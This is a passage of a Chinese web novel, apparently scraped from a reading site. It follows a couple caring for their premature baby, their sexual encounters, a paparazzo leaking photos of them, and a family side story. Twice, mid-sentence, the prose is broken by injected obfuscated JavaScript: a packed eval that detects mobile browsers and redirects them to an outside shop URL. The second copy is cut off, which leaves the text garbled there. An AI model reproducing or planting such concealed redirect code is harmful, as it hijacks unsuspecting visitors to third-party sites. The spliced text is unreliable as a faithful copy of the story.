裴与驰把小海马侧过去一点看尿布,很干;再抬眼扫过昨天送达的哺乳椅,目光一停,示意得极自然。 迟铎:“……” 你认真的? 也许是超早产,迟铎一直就没什么奶,小海马又长期住保温箱,管饲按量喂,吮吸技能根本没点。一个没奶,一个不会吸,属于反向奔赴。 迟铎盯着那把哺乳椅两秒,已经懒得吐槽裴与驰为什么连这个都准备了,反正不是恶趣味就是恶趣味。他硬邦邦开口:“不是有温奶器和奶粉?” 裴与驰很遗憾,一个完美方案被当场否决。 他把小海马递给新手妈咪,自己转身去翻旁边的台子。奶瓶、消毒柜、温奶器、罐装奶粉全都摆得很齐。他扫了一眼,手指在温奶器按键上停了停,然后低头看起了说明书。 无能的爸爸当场现学,狼狈的妈妈抱着小海马站在旁边,姿势僵得像在抱一枚倒计时的炸弹,连呼吸都不敢太重。 幸好小海马没有刚出生的记忆。 一阵手忙脚乱后,机器终于亮了。迟铎原地小幅度晃着小海马,晃得很克制,生怕把倒计时晃快。小海马哭得脸都皱起来,哭声一阵一阵的,中间还夹着抽噎,像自己也累。 “快点啊。”迟铎压着嗓子催裴与驰,语气很凶,眼神很求救。 终于,奶瓶递过来,迟铎像抓住救命稻草把奶嘴送过去。小海马先本能躲了一下,哭声没停,可奶嘴碰到唇边,他抽噎着张了张嘴,像试探,又像妥协,然后就含住了。 哭声戛然而止,只剩下很细的吞咽声,喝得十分认真。 迟铎僵着不敢动,过了两秒才低头确认,小海马是真的在喝,不是在憋大招。 他松了口气:“原来是饿了。” 裴与驰站在旁边,眼神落在小海马那张被无能父母饿坏的小脸上,淡淡来一句:“也可能是在骂我们。” 迟铎:“……” 小海马喝着喝着就困了,眼皮一点点往下掉,小手还死死攥着毯子。没多久他松开奶嘴,嘴角沾着点奶渍,整个人软下来,呼吸很快就匀了。 裴与驰把空奶瓶拿走,顺手把灯又调暗了一点。 他们在婴儿房又站了五分钟。直到确认小海马睡得不能再熟,连眉头都彻底松开了,迟铎才缓缓吐出一口气。 空气里那点没来得及落地的暧昧,立刻回来,来势汹汹,连装都懒得装。 迟铎回头看了裴与驰一眼,眼神黏得离谱;裴与驰也看着他,像刚才那场手忙脚乱只是中途广告插播,正片现在才开始。 浴室的水大概早就凉透了,不过没关系,他们现在也等不及去浴室。中场休息再放新的也行。迟铎一边想着,一边配合裴与驰把他抱起来。 下一秒,门铃就响了。 迟铎:“……” 他几乎是跳下来,条件反射就要去捂小海马耳朵,他是真的承受不住第二轮了。 楼下门铃又响了一下,带着一种很不讲道理的坚持。 裴与驰冷着脸没说话,转身就往楼下走,步子很快,明显带着火。 门一开,人没见到,先见到几个巨大的包装盒,把门口塞得满满当当,连缝都不留。 紧接着,一个矮瘦、穿工服的人从箱子后面探出头来,很礼貌:“裴先生您好,我们是来安装婴儿护栏的。” 裴与驰:“我没……” 话还没说完,手机震了。来电显示三个字:迟了了。 裴与驰看着那三个字,停了半秒,才接起来:“爸。” 电话那头的声音自然得理所当然:“开门了?” 裴与驰看着门口那堵纸箱墙:“您送的?” “嗯。”迟了了应得很干脆,“全屋防护,今天装完。” 裴与驰压着火:“他今天才出保温箱。” 言下之意,离爬都还差十万八千里。 “所以才要装。”迟了了打断他,语气像在讲常识,“把风险从摇篮开始掐死。” 裴与驰:“……” 迟了了继续报菜名:“还有柜门锁,抽屉锁,门夹手的防护条,插座盖,窗户限位。我都考虑到了,不用谢。” 裴与驰低头看了眼门口堆成墙的箱子,又看了眼安装师傅,按了按眉心:“行。” 电话挂断。 安装师傅还站在门口,礼貌得无懈可击:“裴先生,我们可以进来了吗?” 裴与驰侧身让开,“大概多久。” 安装师傅想了想:“全屋的话,得到晚上。” 裴与驰:“不能多叫几个人吗?” 安装师傅很实诚:“今天就我呢,裴先生。” 裴与驰:“……” 楼梯上传来脚步声,迟铎穿好裤子下楼,刚好听闻噩耗。他站在台阶上,看着门口那堵纸箱墙,面无表情地回想自己最近到底怎么惹到这老头了? 要是他同意小海马叫赔钱,能不能把这堆东西和这个师傅一起打包送走 安装师傅抱着工具箱进来,人真的很矮小。蹲下拆箱,拆了半天才拆出第一根护栏,往墙边一比,抬头很认真:“裴先生,您家这楼梯……挺长的。” 裴与驰看着师傅这身高和进度,脸色肉眼可见更臭。他看一眼时间,又看一眼电钻。短短两秒,迟铎都能看出来,裴与驰脑子里那根弦已经绷到极限。 但,裴与驰这样满脸火气,不耐烦的样子,帅得不行。迟铎心想。 “你一个人装到晚上?”裴与驰问。 师傅还很诚恳:“是的呢,裴先生。” 裴与驰沉默两秒:“电钻给我。” 师傅愣住:“啊?” 裴与驰已经伸手去拿,“我跟你一起装。”语气不容拒绝。 他说完就蹲下量尺寸,卷尺唰地一声拉开。下一秒电钻上墙,声音干脆,比师傅还像个专业师傅。 迟铎站在台阶上,先被噩耗击中,后被画面击中。 裴与驰外套已经脱了,露出白色贴身短袖。电钻一动,手臂的线条绷起,低头拧螺丝的时候肩背一紧一松,连那张冷脸都显得更不讲道理,那种有颜有劲还不耐烦的不讲道理。 迟铎:“……” 他突然觉得很渴,下楼接了杯水,杯沿碰到唇边才发现自己根本没在喝,视线从头到尾黏在裴与驰身上。 裴与驰蹲着拧螺丝,那双手灵巧得过分,平时怎么欺负他,现在就怎么欺负螺丝,翻一下收一下,干净利落得让人心烦意乱。迟铎看着看着就走神,脑子里全是之前的感受,连吞口水都像在给自己添火。 再往上是手臂的线条,一鼓一鼓的,每一下用力都像在提醒他,以前那些不讲理的抱法:从背后扣住也好,直接横抱起来也好,扛也不是没有过。不给拒绝的机会,他也从来没想拒绝。 他看着看着就想抽烟冷静一下。不对,是雪茄,雪茄才更像裴与驰。可惜现在家里全面禁烟。 他只能移到餐厅,从柜子里摸出一根棒棒糖,剥开含进嘴里。甜味顶上来那一瞬间,他感觉更湿了,腿不自觉紧紧交叠着。 裴与驰装护栏速度越来越快,明显着急赶工。 迟铎一边花痴,一边不爽。直接掏出手机,果断把迟了了电话拉黑。 裴与驰拧完最后一颗螺丝,抬手拍了拍护栏,确认牢固,站起身,转头看迟铎。 那一眼很短,但很直接,让人脸红心跳。 迟铎立刻把视线移开,装作在看墙角的护角:“……你挺有天赋。” 裴与驰淡淡道:“我没有。” 他顿了顿:“我只是想快点装完。 迟铎:“……” 迟铎转头去盯矮个师傅的背影,产生了一个强烈又合理的诉求:师傅能不能自觉点装快点,然后自觉点离开这个房子。 可惜师傅后背没长眼,干活也读不懂空气。他还在慢慢拆箱,慢慢找配件,慢慢比划,慢慢过一天。 裴与驰彻底不指望他了。护栏装完,又去搬下一箱,开箱,找螺丝,拧,固定,动作越来越快,脸也越来越冷,摆明了就一个目的: 赶紧装完,好办正事。 迟铎站在旁边看着,看他单肩扛着材料从客厅走到楼梯口,又从楼梯口走到窗边,手臂绷起的线条一下一下跳,眉头压着,嘴唇抿得很紧,像每颗螺丝都跟他有仇。 迟铎看着看着,腿就软了。 这不就是美剧里那种四分卫吗,男性荷尔蒙爆棚。可惜他以前不爱看,导致现在毫无免疫力。 他把不知道第几根棒棒糖换了个方向含着,腿也并得更紧了。他低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971024|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬了一下糖棍,心里骂了一句:这破房子怎么这么大,这破防护怎么这么全。 又想起忘记拉黑始作俑老头的微信,赶紧一并拉黑。 最后,连工具箱都是裴与驰替矮个师傅收拾好的,电钻卷尺一件不少,塞得整整齐齐。师傅人还没站稳,就已经被一路拎到了门口,连人带工具箱一起被送走。 砰,门一关。 裴与驰脚步没停,转身就把沙发上那个花痴树懒抱起来,顺便把他的家居裤撕掉。 迟铎还含着棒棒糖,来不及把糖棍吐掉,人就已经离地,手下意识攀上他脖子,“你……” 裴与驰没给他说完,低声回他一句:“闭嘴。” 上楼,浴室,一气呵成。 ……………………………… 裴与驰把他按进雾气里,贴着他耳侧,声音很低,像在宣判:“现在没人了。” ……………………………… ………………………………………… ………………………………………… 剩下的声音被水声盖过去了。 浆果味重新蔓延在房间里,玫瑰味的浴缸水还留着点余温。湿透的衣服被随手扔进洗衣篓里,房间的主人们却不见踪影。 几轮折腾后,两人随便套上衣服,迟铎就被抱出主卧。 迟铎哑着嗓子问去哪,裴与驰只回了一句:“换个地方。” 儿童防护安完后,家已经彻底降级成pg13以下,在幼儿园搞违规操作实在是听起来就很萎靡。 主卧已经不够刺激,于是车库那台古董加长敞篷凯迪拉克的后座被铺了一条毯子,前面中控还放着婴儿监视器接收器,裴与驰刚俯身,接收器“滋”了一声电流。 两人同时停住。裴与驰伸手把音量按到最低,盯着屏幕听了两秒。迟铎也盯着屏幕,眉头不自觉皱起来,下一秒就要开始心疼。 没哭。 迟铎先松了口气,低声骂了一句:“……吓我一跳。” …………………………………… 他终于肯喘口气,抬手把迟铎往怀里一带,语气却突然一本正经得要命:“哺乳椅怎么用。” 迟铎抬眼看他,半天才找回声音:“你现在才想起来研究这个?” 裴与驰淡淡道:“刚才没空。” 迟铎:“……” 车库很安静,安静到婴儿监视器里一丁点电流声都清清楚楚。 ……………………………… 迟铎:“……” 裴与驰把他捞进怀里,语气一本正经得像刚提供完一次宾至如归的服务,开始索要好评。 “怎么样,要好好感谢我。” “今后你就能用上哺乳椅。” 迟铎:“……” 他抬手在裴与驰胸口推了一下,推得没什么力气,嘴硬得很:“你少得意。” 裴与驰“嗯”了一声,低头看了他一眼:“不急,明天你就会更感谢我。” 好学的裴总经过一晚上的研究,硬是把新手妈咪的涨奶关卡给解锁了。 然后这件事实在太过羞耻,迟铎没过多久,连夜下单挤奶器,试图依靠科技改变生活,顺便背信弃义。 第二天早上,裴与驰抱着迟铎从车库一路上到一楼。两人衣衫褴褛,门一推开,屋里人到得很整齐。 餐厅那边,anna在指挥厨师。客厅里,沈经纬、林苹苹、迟了了坐得端端正正。睡篮里小海马睡得很香,像昨晚什么都没发生,只有他父母像打了通宵副本。 迟铎:“……” 裴与驰:“……” 迟了了冷着脸:“你们俩能不能有点素质。” 迟铎瞥一眼他腰间还挂着普拉达,大概率还不知道自己昨晚已经被拉黑了。 沈经纬开口淡:“我让anna跟你确认过时间。你昨天把行程全block了,备注家事。” 她看向睡篮:“我以为是宝宝。”停一秒,“现在我知道了。” 她举起手机:“行了,我先拍给谦之看。” 迟铎:“……” 林苹苹端着水,温温柔柔接一句:“别生气,经纬,他写得也没错。” 她抬眼把两个人扫一遍,笑意更深了点:“就是你们这个家事……看起来挺费体力的。” 迟铎:“……” 迟了了冷着脸哼一声:“抱着进门,确实费。” anna从餐厅探头:“早餐十分钟。” 沈经纬对着睡篮拍了两秒,收起手机:“好了。” 睡篮里的小海马翻了个身,睡得很香,像在无声控诉:请帮我退掉我父母。 33.错位 (迟铎、裴与驰视角) 小海马足月两个月后,可爱得让迟铎无数次庆幸,自己当时及时撤回了那条信息。他就该像裴与驰一样,当面了无痕,反正小海马这段时间也听不懂。 起床时,孕后餐已经摆好,私人复健师准点上门。迟铎坐在瑜伽球上,双脚踩稳,面无表情地配合动作,久违的烟瘾却一点点冒了头。 裴与驰最近去了伦敦参加峰会,半个月。 最高长官不在,犯人的心思自然开始活泛。 他很认真地复盘了一下。 首先,奶基本都进了大的嘴里,小的本来也没喝到多少;其次,每晚某人扮演侍应生、服务哀怨深闺贵妇的play实在过于羞耻,尤其服务质量极差,却还要被逼着给高额小费;最重要的是,小海马当初是在保温箱里被精心呵护才活下来的,他心疼得不行,总觉得只喝母乳,未必能完全满足这小东西的生存需求。 家里堆满了高端奶粉和婴儿营养补剂,科学依据也站在他这边。 复盘完毕,结论显而易见。 一根。 就一根。 家里当然是不可能。 即便最高长官出差,保姆、佣人、营养师、管家一个不少,小弟NPC们依旧忠诚地执行命令。而且让小海马吸二手烟这件事,即使房子很大、全套通风系统拉满,他也完全接受不了。最多,最多在哄小海马的时候,把烟叼在嘴里闻闻味道,真的是完全字面意义的“只是蹭一蹭,不进去。” 迟铎,一个没有渣男灵魂的居家宝妈。 但刚好,今天有合适的犯罪场地。 下午,长官就要抵达机场。 机场,吸烟区。 完美犯罪现场。 他掏出烟的时候,动作停了一瞬。 裴与驰离开前,刚好过了他的二十五岁生日。那天行程依旧被清空,理由还是家事,所有恭维、讨好和祝贺信息,都被关机的手机隔在世界之外。他们在迟铎提前半年订好的餐厅吃完烛光晚餐,下一站是他早就预定好的W酒店套房,拆礼物。 迟铎在车边停下,凑到裴与驰耳边,刻意学他平时的语气:“你乖一点,这次乖乖去峰会当主讲人,我就有礼物送你。” 裴与驰挑了挑眉,手被引导到一个暧昧的位置,细带子,蕾丝的触感。 “我穿了全套。”手的主人继续勾引。 裴与驰在里面确认了一下,语气冷静得过分:“我会去参加。” 下一秒,是熟悉的动作,掐脸。 “但你要乖一点。” 迟铎翻了个白眼。控制狂。 “不许抽烟。” “YES,SIR。” 他还并拢手指,敷衍地行了个军礼。裴与驰像是被逗到了,低头亲了下来,左手还有红点闪着,一如既往的道具。 …… 不至于。 真不至于。 迟铎回过神,低头点烟,心里还在给自己加油打气。这要能被抓到,他这运气,跳楼估计都能卡在楼缝里。再说有句话讲得很对:觉得对的事就去做,觉得不对的事,就偷偷做。 一根,两口,再加上薄荷糖。 岛田庄司也想不出这么完美的本格犯罪。 熟悉的味道在嘴里散开,他让烟雾在口腔里多停了一会儿,想了想,还是没过肺。即便这样,也觉得世界顺眼了不少。 说好的第二口刚结束,第三口还没来得及,电话就响了。 屏幕上跳出一个AAA。 迟铎看了几秒,接起电话的同时,把犯罪道具掐灭,顺手丢进烟头垃圾箱。 “喂,你提早到了?” “好,我马上下来。” 电话挂断,薄荷糖入口。他把帽子往下压了压,转身往车库走,去和长官碰头。 半个月了,其实挺想的。 他一边走,一边感受着熟悉的胀痛,一边回想起前晚那场持续了四个小时的视频电话。国内上午八点,伦敦已经零点。裴与驰刚应酬完,坐进车里,第一件事是戴上耳机。车窗被敲了敲,是客户,想约明早的coffee chat。裴与驰一边应付,一边把手机往里放,镜头晃了一下,迟铎正好看见他左手的戒指,还有那块PP。 他很满意。 戒指戴得好好的,生日礼物也很配他。 于是晚上,就…… 虽然他也心疼裴与驰第二天要起很早,但谁让他那个声音,那个语调,是真的没办法。 二手烟奶,只能喂大的了。 这边有人在回味phone sex,而另一边,机场车库里,裴与驰已经穿着正装,站在埃尔法车旁。 伦敦峰会他原本很重视,一年前就已经敲定入局,一掷千金,力图让资源、曝光一次性铺满,主讲人的位置也是他自己要的。但后来发生的一系列事,让他一度认真考虑过调整方案:伦敦主讲人可以换人,让在伦敦的CIO顶上;迪拜峰会还有一个月,同级别活动,行程完全可替代。 从任何角度看,都是合理选项。 直到有人穿着过分性感的内衣,端着一只明显不太专业、却被认真对待过的蛋糕站在他面前。奶油抹得不太均匀,却裱了很多花形复杂的花朵,一看就是认真学过的。旁边还放着一瓶喷□□油,位置刻意,毫不掩饰用途。 那人靠过来,手臂绕上他的脖子,在他耳边低声说话,语气软得过分,内容却异常明确,一遍遍确认他刚才在车边做出的决定,生怕他之后反悔。 裴与驰抱着他,当时就笑了一下,很短。 在他怀里撒娇的人没看见。 第二天醒来,决定没改,伦敦照去。 裴与驰手腕上多了一块PP,尺寸刚好,扣得很正,位置分毫不差。 他低头看了一眼表扣,床另一侧的人还在睡,呼吸很轻。明明被他折腾到连浴室那几步路都要人抱,却还是在他睡着之后,撑着把表给他戴好了。扣得这么正,动作一定很轻,不然他不会一点都没醒。 回忆里的人很快走到他面前,还是那副非主流打扮,表情漫不经心,眼睛却很亮。 进车,裴与驰一把把人拉过来,迟铎顺势坐到他腿上。 “干嘛?”嘴上嫌弃,手却自动攀上了已经想念了半个月的人的脖子。 “你抽烟了?” 裴与驰闻到他嘴里的薄荷味,迟铎不爱吃薄荷糖。 迟铎:“……” “当然没有,不信你闻。” 他说着,低头乖乖给检查,两人的距离靠得很近。 “走吧。”裴与驰示意司机,顺手关上车窗。 应该是糊弄过去了。迟铎想着,后脑上那点冷汗终于不用往下掉。 下一秒,脖子被身后的手按住,耳朵被嘴唇贴近。 裴与驰语气一本正经:“你穿皮衣,是需要服务吗?” 迟铎面无表情,心想竹马日久生情这类文学能流行,可能只是因为作者不用亲自跟对方撒谎。 这边氛围升温,你侬我侬,司机把车开得越来越快,恨不得一脚油门踩到目的地,生怕半路被要求下车。 (王瓜吃视角) 那边,隔了半个月,某专业狗仔终于等到了迟铎经济公司的回复。 消息弹出来的时候,王瓜吃正一边喝冰美式一边熬夜剪视频。微信对接人的头像看着很职业,说话却一点不职业。 “亲亲,我们这边已经核实过了,确认是合成图呢。这种水平,在缅北可能都不太好生存哦。” 王瓜吃盯着那句话看了几秒,先笑了一下,有点意思。他在这一行混了这么多年,被威胁过、被求过、被拉拢过,也被骂过,但这种“亲亲配缅北”的说法,确实还是头一回见,算是长见识了。 他正准备回一句,屏幕忽然跳了一下,红色感叹号弹了出来,对方顺手还开了朋友验证。他愣了愣,又低头确认了一眼,才意识到不是网络卡顿,是真的被删了。 到这里,事情的性质就变了。 混这一行的,谁没被拉黑过。艺人塌房前清一波,公关翻车时清一波,都是常规操作。他年轻的时候在香港跑线,夜总会老板、电影投资人、经纪公司高层,翻脸的时候比这难看多了。 可再难看,也会留句话。哪怕一句“兄弟,这事不方便”,哪怕一句“改天再聊”,规矩总还是在的。 像现在这样,先阴阳一句,再直接拉黑,把门焊死,已经不是谈崩不谈崩的问题了,而是从一开始就没打算把你当成能坐下来聊的人。 王瓜吃把手机扣在桌上,指尖在桌面上敲了两下,忽然意识到一件事,对方是真的把他当成了那种靠P图碰瓷、蹭流量的野路子。 这就有点好笑了。 因为这次的图,是他自己架着长焦,在绿化带里蹲了三个多小时,亲眼看见、亲手按下快门拍下来的。照片糊,是灯光暗、角度刁、距离远,不是他手抖。 他混了十几年娱记,夸大事实是常态,但造假是另一回事。这一行混久了,眼睛比镜头准,什么能爆、什么不能碰,他心里一直很清楚。所以那张图拍到手里,他的第一反应不是兴奋,而是警觉。 即使图很糊,那两颗耳钉也太显眼了。显眼到只要发上网,热搜基本是板上钉钉。也正因为太显眼,他才没有第一时间动手。 问题不在图,在人。 那个高个男人,他查不到,是真的查不到。不是没往深了挖,而是一点能往外延伸的线头都没有。内娱就这么点大,只要在明面上走过,总能扒出点边角料来,可这个人偏偏干净得过分。 再一想当天看到的画面,不是借位,迟铎是实打实地被人按着亲。迟铎家里有背景,富三代天龙人,脾气又差,谁都不惯,能让他在公共场合这么乖乖站着,被人压着亲,这个高个男人怎么看也不像是单纯傍上208的嫂子。 再叠上迟铎停工那阵子的动静,热搜压得干净,平台配合得利索,节奏专业得不像临时应对。这种手法,不是一个经纪人能单独完成的。 两件事合在一起,王瓜吃心里已经有数了。这种人,十个里有九个不在台前,要么是金主,要么是资本,要么就是那种名字不适合写在报道里的角色。 所以他才先递图,不是怂,是给面子。按道上的规矩,先谈价,留余地,大家各走各路,没必要把事做绝。 可现在一句“合成图”,一句“缅北”,再顺手一个拉黑,意思已经很清楚了。 这是把他当骗子了。 王瓜吃这才明白过来,不是生意没谈成,而是人家从头到尾就没打算把他当回事。 他自认已经很仁义了,也没漫天要价,远不及张子强勒索首富的作派。可可能就是太仁义了,才让人误以为,他好糊弄。 于是,没有预告,也没有风声。 他亲自,而不是让助手,在7788组发了这张图。 (私生视角) 图很快开始发酵。 图很糊,糊到从技术层面来说,几乎谁都可以是当事人;姿势更不太可能,如果真是迟铎,按他以往的作风,站位大概率会反过来才更符合人设。理性分析到这里,多粉其实并不着急。 问题出在那两颗耳钉上。 那两个耳钉的位置,在内娱范围内掰着指头数,迟铎几乎是唯一解。粉丝的情绪开始在两个结论之间反复横跳,一边是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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迟铎低着头,睫毛垂下来,在眼下落了一小片影子。鼻梁线条利落,侧脸轮廓干净,嘴唇天生带点上扬的弧度,却没什么表情。风从机场出口吹过来,他抬手调整了一下帽檐,动作随意。身上皮衣肩线利落,baggy裤松松垮垮地挂在身上。他靠在围栏边,重心落在一条腿上,整个人站得很随意,却天然和周围的人拉开了一点距离。 烟烧得很慢,灰堆到一截,他才低头吸了一口,偏头避开烟雾,抬眼往远处扫了一下。 她下意识按紧了快门。 手机震了一下,他看了眼屏幕,把烟掐了,接起电话的同时掏出一颗薄荷糖塞进嘴里,转身往车库方向走去。 车库那边,她朋友已经守了一会儿。 电梯响了一声,门打开,一个高个男人走了出来。 正装剪裁干净,线条利落,司机迎上前接过行李放进后备箱,他却没跟着上车,只站在车门边,看了眼腕表,又顺手理了下袖口。 灯光偏暗,他站的位置却刚好,被顶灯压出清晰的轮廓。人来人往,推着行李快步经过,视线却总会在他身上停一下,有人走出去很远,还要回头再回味一下。 她朋友下意识抬起相机,想给人找个更出片的角度,镜头刚一动,就发现自己多此一举。她顿了下,又按了几次快门,不是为了料,只是觉得如果不记录下来有点浪费。 她一边拍,一边在心里感叹生图都能直接出片,又忍不住想了一下,这位帅哥该不会是在等迟铎吧。念头刚冒出来就被她自己否掉。不太可能,迟铎怎么看也不像会跟这种一身精英气质的人一路。 下一秒,迟铎出现了。 两个人的视线在车库里对上,很短,却非常明确。不是陌生人之间的扫视,也不是偶然撞上,更像是彼此都知道对方会在这儿。 她几乎是条件反射地按下了快门。 这一眼太干脆了,她心里立刻有了判断,这两个人认识,而且不只是认识。 反应过来时,她才意识到自己在激动,隔了这么久终于又见到正主,人还是那么显眼,随便站着就好看。可这个念头刚起,又被另一层想法压过去。她忍不住在心里感叹,迟铎居然会有这种类型的朋友,感觉两人不在同一图层,反差得过分,可转念一想,又觉得好像也没什么不对。 帅哥跟帅哥一起玩,本来就很合理。 正当她思绪还在飞快转着,两个人已经并肩上了车。 车门关上,她还没来得及挪开镜头,男人坐稳后顺手一拽,动作快得像早就习惯,迟铎被带着往前一倒,撞进他怀里,随即顺着那个力道调整姿势,干脆利落地跨坐了上去。 自然得过分。 朋友之间的打闹……吗? 这个念头刚冒出来,她已经按下了快门。两边突如其来的反差有点不讲道理。 可下一秒,迟铎主动低下了头。动作很轻,却毫不犹豫,几乎贴着那人靠过去。车窗半掩,光线被切碎,可镜头里,两个人的眼神却清清楚楚。 那不是玩闹。 车驶出车库,她站在原地,低头一遍遍翻看相机里的照片。 cc走到身边,她没抬头,把相机递过去,只问了一句:“你觉得这是朋友吗?” 彩蛋: 酒店套房 蕾丝,蛋糕,喷□□油瓶 蕾丝拿着喷□□油坐在裴与驰腿上,转头了看了看时间,“还有一个小时,你就25了。” 裴与驰挑眉,绅士等待对方把话说完。 迟铎认真:“25不是就开始走下坡路了吗?”,视线意有所指。 裴与驰:“…….” 迟铎事后总结:绝对不可以说男人,不行。 最后他能硬撑着起来给老公戴生日礼物纯靠爱情。 裱花没浪费,都成了蕾丝内衣的点缀。 34.吵架(番外)[番外] 杂志活动现场灯光晃眼,人声鼎沸。 迟铎是被品牌方硬请来的。拍完片,露个面,带点货就走,这套流程他早就熟得不能再熟。品牌方的耳饰、项链按要求戴着,婚戒没摘,人站那儿,点头、微笑,一套动作行云流水,尽量把社交成本压到最低。 偏偏总有人不读空气,或者假装读不懂。 “裴……迟先生好。” 一个西装笔挺的男人眼睛一亮,迅速凑过来,目标明确。迟铎点了点头,没接话,这默认寒暄到此结束。 对方却把这当成可以聊的信号,话匣子直接打开。 “上次在club看到裴总打球,球技真的好。” 迟铎嗯了一声,敷衍得很明显。 “而且贵公子也特别厉害,年纪那么小,球童却当得有模有样。” 迟铎:“……” 他脸上还挂着标准社交微笑,眼神却已经明显冷了下来,但他没打断,只是侧了侧头,摆出认真倾听的姿态。 对方彻底来劲了。一边在心里暗叹裴太果然爱听人夸老公和孩子,一边绘声绘色地描述小裴公子如何满场捡球、递杆、量距离,专业得不像个小孩。 迟铎一边听,一边在脑子里自动生成画面。 很好。 原来他儿子不是在私人俱乐部里,由私人训练师全程陪同训练,而是被直接发配到了棉花种植园,顺带负责棕榈树那一片。 比黑奴还黑奴。 “你说,”他忽然开口,语气礼貌得几乎挑不出毛病,“Ethan,给他爸,当球童?” 每个字都咬得很清楚。 对方完全没听出危险,反而下意识点头附和了一句:“对对,特别认真。” “谢谢。” 迟铎打断他,转身准备离开。 走出两步,又停下。 他回过头,像是忽然想起什么,又像是担心自己刚才听错了,态度甚至称得上客气。 “抱歉,再确认一下。” “是给裴、与、驰,当球童,对吧?” 名字被一字一顿地念出来。 空气几乎是当场凝固的。 马屁拍得太准,正中马腿。 对方这才意识到情况不太对,脸色一僵,试图补救,可惜已经来不及了。 迟铎直接从宴会现场消失。 回到休息室,他把品牌方的衣服首饰一股脑塞给李浩,换好衣服,拿起手机,拨了个电话。 “你现在在哪?” “公司。” 裴与驰刚开口,电话已经被挂断。 裴与驰刚说完这两个字,电话已经被挂断了。 二十分钟后,金融中心附近出现了一个极其不合时宜的大明星。没戴帽子,没戴口罩,脸色很差,走路带风,目标明确。 “你是不是疯了?” 办公室的门甚至还没来得及关上,这句话已经砸了进去。 秘书、助理、刚好路过的管理层同时停下脚步,视线在空气里短暂对撞了一下,又默契地各自低头,假装自己此刻非常忙。 “儿子才几岁,你让他给你当球童?” 裴与驰抬头看了他一眼,很平静。 “我有给小费。” 迟铎:“?” “双倍。” 补充得非常认真,仿佛这是一个经过充分论证、合规合法、还十分厚道的决定。 办公室里静了一秒。 迟铎脑子里,离婚两个字已经排队到舌尖,又被他自己硬生生按了回去。 不行。 这话一旦说出口,他自己可能先哭,太丢脸。 但真的很生气。 哪有爸爸把自己儿子当童工用的? 这要是放在十八世纪,他儿子是不是已经戴上报童帽了,身上挂个小木箱,半跪在地上给他爸擦皮鞋,擦完还得顺手点根烟、递份报纸,然后规规矩矩站在一旁,等着点评? 而裴与驰,裴与驰绝对会是那种,擦完一只脚,还要低头看一眼,淡淡来一句:“这里没干净。” 再抬抬下巴:“重来。” 画面一旦成立,根本刹不住。 越想越离谱,越离谱,又越像是裴与驰真能干出来的事。 迟铎难得懒得再跟这个被资本异化、彻底失去良心的男人多讲一句话。 他转身就走。 “……” “……” 秘书和 CTO继续同时低头,假装自己刚刚只是路过。 迟铎一边走,一边订酒店。 顺路拐去学校,把儿子接走。 生日? 不重要了。 酒店餐厅灯光柔和,人不多,服务生说话都刻意压着声音。迟铎点完菜,把菜单递回去,才发现对面的小冷脸男坐得过于端正了。 背挺得笔直,手规规矩矩放在腿上,眼睛盯着桌布的纹路,一动不动。不像来吃饭的,倒像被临时通知来参加什么重要会议。 迟铎看了他一会儿,随口问:“怎么了?” 小冷脸男抬起头,眼睛亮得有点不合时宜,像是已经在心里打过无数遍腹稿。 “爸呢?” 迟铎没回答,把餐前面包从篮子里拿出来,撕开,抹果酱,推到他面前。 空气短暂地停了一下。 “你们要离婚吗?”声音不大,但非常清楚。 迟铎抹果酱的动作顿住了。 他还没来得及开口,小冷脸男已经像是担心时间不够用似的,迅速往下说:“那我跟你。” 说完自己先愣了一下,低头咬了一口面包,嚼得很慢,很认真,像是在给这句话一个缓冲时间。 过了一会儿,他又抬起头,语气比刚才轻了一点:“……为什么要离婚?” “没有要离。”迟铎说。 小冷脸男明显松了一口气,但眉头很快又皱了起来。 “那是爸爸做错事了吗?” 他想了想,又补了一句,“是那种……不能原谅的吗?” “不是。”迟铎说。 虽然前半句是对的。 小冷脸男点点头,又沉默了一会儿,像是在重新排列线索。 “那……” 他犹豫了一下,声音压得更低了,“是你喜欢上别人了吗?” 迟铎:“……” 他这才意识到,这孩子是真的已经在脑子里,把整套离婚流程从头到尾跑完了一遍。 “没有。”迟铎说,“谁跟你说我们要离婚的?” 小冷脸男摇头。 “没人说。” 停了一下,又很谨慎地补了一句:“我就是……感觉你很生气。” 那种从来没见过的生气。 迟铎没说话。 小冷脸男想了想,语气很谨慎,努力让自己听起来足够客观:“爸爸其实挺好的。” 话说出口,又像是觉得这句话站队太明显,立刻补救:“有时候也挺烦的。” “尤其是他总说我还能做得更好。” 迟铎听着,没插话。 “但是如果你们真的离婚了,”小冷脸男下了结论,“他应该会很难过。” 说完这句,他抬头看迟铎,像是在认真确认什么。 “……你会难过吗?” 迟铎伸手,摸了摸他的头。 “会。” 小冷脸男明显愣了一下,脸上那点不属于小孩的镇定终于有点撑不住了。 “那……” “但我们不会分开。”迟铎接着说。 那根一直绷着的弦,终于断了。 小冷脸男肩膀塌了一点,整个人明显放松下来,像是刚扛完一件特别大的事。过了两秒,又有点不好意思地低下头,小声嘟囔了一句: “那就好。” 他想了想,又补了一句:“我刚刚还在想,要不要帮爸爸想办法。” 迟铎挑眉:“想什么办法?” “比如……让他表现好一点。” “或者我更听话一点。” 说到这儿,他停了一下,很认真地下结论:“如果真的不可挽回了,我还是站你这边。” 顿了顿,又很小声、但非常确定地补了一句:“不过我也挺喜欢他的。” 迟铎看着他,没再说话。 吃完饭,甜点上来,是冰淇淋,小冷脸男却没动。 他安安静静地坐了一会儿,像是在心里反复权衡什么,终于下定决心似的,伸手拉开书包拉链,从里面掏出一个黑色袋子,递到迟铎面前。 迟铎低头,看清袋子上的 logo,愣了一下。 “妈咪,生日快乐。” 